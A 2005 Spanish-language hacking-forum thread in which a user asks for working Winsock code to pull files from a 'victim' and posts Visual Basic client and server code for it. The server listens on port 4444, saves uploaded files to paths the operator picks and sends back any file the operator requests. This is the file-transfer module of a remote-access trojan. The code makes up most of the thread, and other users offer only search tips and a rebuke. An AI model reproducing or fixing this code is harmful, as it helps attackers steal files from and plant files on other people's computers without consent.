Título: Traer archivos de la victima
Publicado por: kakinets en 16 Septiembre 2005, 22:52 pm
Hola... Ya se q se habló mucho de esto en el foro pero siempre q busco encuentro el mismo código....No me anda y no le puedo encontrar el error si alguien tiene un code q funcione para traer archivos de la victima mediante winsock le agradecería....
gracias
Título: Re: Traer archivos de la victima
Publicado por: Kizar en 17 Septiembre 2005, 00:01 am
Busca transferencia de archivos con winsock hay un post mio por ahi, lo unico que tiene que acr es mandar la ruta del archivo a descargar y abrir un archivo en tu equipo con su nombre y extension y que empieze a enviarlo. Salu2
Título: Re: Traer archivos de la victima
Publicado por: kakinets en 17 Septiembre 2005, 02:02 am
no lo encuentro al post pensaran q soy un inutil...
Título: Re: Traer archivos de la victima
Publicado por: NYlOn en 17 Septiembre 2005, 20:47 pm
Click en (http://foro.elhacker.net/Themes/default/images/spanish/search.gif) (http://foro.elhacker.net/index.php?action=search) y pone Enviar archivos via WinSock
salu2
Título: Re: Traer archivos de la victima
Publicado por: kakinets en 17 Septiembre 2005, 23:46 pm
lo unico q encontre fue esto
http://foro.elhacker.net/index.php/topic,84110.0.html
y no lo puedo hacer andar
Título: Re: Traer archivos de la victima
Publicado por: kakinets en 17 Septiembre 2005, 23:55 pm
Yo uso ese code pero no me trae los archivos si alguien me da una manito.... ---------------------------CLIENTE-----------------------------------
Código: Dim filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean Dim ext As String, path As String, nombre As String
Private Sub Command1_Click() ws.RemotePort = "4444" ws.RemoteHost = "127.0.0.1" ws.Close ws.Connect End Sub
Private Sub Command2_Click() cd.Filter = "Todos los archivos |*.*" cd.ShowOpen Open cd.FileName For Binary As #1 filedata = Input(LOF(1), 1) Close #1 nombre = cd.FileTitle path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path) path = path & nombre filesize = Len(filedata) ws.SendData "archivo" & "|" & filesize & "|" & path End Sub
Private Sub Command3_Click() Dim ruta As String ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta) ws.SendData "coger" & ruta ext = Right(ruta, Len(ruta) - 4) End Sub
Private Sub Form_Load() send = False progreso = False End Sub
Private Sub Timer1_Timer() If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado" End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim datos As String ws.GetData datos If datos = "enviar" Then progreso = True ws.SendData filedata End If If datos = "recibido" Then 'ws.SendData "cierra" End If If Left(datos, 7) = "archivo" Then send = True filesize = Mid(datos, 8) ws.SendData "enviar" datos2 = "" Else If Len(datos2) <> filesize And send = True Then datos2 = datos2 + datos pb.Min = 0 pb.Max = filesize pb.Value = Len(datos2) pb.Refresh End If If Len(datos2) = filesize And send = True Then ws.SendData "recibido" pb.Value = 0 cd.Filter = "Archivos " & ext & "| *" & ext cd.FileName = "" cd.ShowSave Open cd.FileName For Binary As #1 Put #1, 1, datos2 Close #1 End If End If End Sub
Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long) If progreso = True Then pb.Min = 0 pb.Max = filesize bytes = bytes + bytesSent pb.Value = bytes pb.Refresh If filesize = bytes Then pb.Value = 0 MsgBox "Archivo enviado con exito" progreso = False End If End If End Sub
---------------------SERVIDOR----------------------------
Código: Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String
Private Sub Form_Load() send = False ws.LocalPort = "4444" ws.Close ws.Listen End Sub
Private Sub Timer1_Timer() If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado" End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.Close ws.Accept requestID End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim datos As String, dato As Variant ws.GetData datos If datos = "enviar" Then ws.SendData filedata End If If datos = "recibido" Then 'ws.SendData "cierra" End If If Left(datos, 7) = "archivo" Then send = True dato = Split(datos, "|") filesize = dato(1) path = dato(2) ws.SendData "enviar" datos2 = "" Else If Len(datos2) <> filesize And send = True Then datos2 = datos2 + datos End If If Len(datos2) = filesize And send = True Then ws.SendData "recibido" Open path For Binary As #1 Put #1, 1, datos2 Close #1 End If End If If Left(datos, 5) = "coger" Then datos = Mid(datos, 6) Open datos For Binary As #1 filedata = Input(LOF(1), 1) Close #1 filesize = Len(filedata) ws.SendData "archivo" & filesize End If End Sub
Título: Re: Traer archivos de la victima
Publicado por: Slasher-K en 18 Septiembre 2005, 00:20 am
Deci en donde está el error, esto no es una escuela de programación es un foro de consulta.
Título: Re: Traer archivos de la victima
Publicado por: kakinets en 18 Septiembre 2005, 01:15 am
aqui creo no puedes guardar el archivos... Private Sub Command3_Click() Dim ruta As String ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta) ws.SendData "coger" & ruta ext = Right(ruta, Len(ruta) - 4) End Sub
|